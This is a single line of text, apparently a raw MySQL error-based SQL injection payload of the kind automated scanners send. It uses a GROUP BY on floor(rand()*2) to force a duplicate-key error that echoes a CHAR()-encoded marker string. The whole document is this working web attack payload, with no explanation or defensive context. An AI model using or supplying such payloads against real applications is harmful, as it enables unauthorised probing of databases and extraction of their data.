"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(55),CHAR(53),CHAR(99),CHAR(54),CHAR(110),CHAR(81),CHAR(121),CHAR(65)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"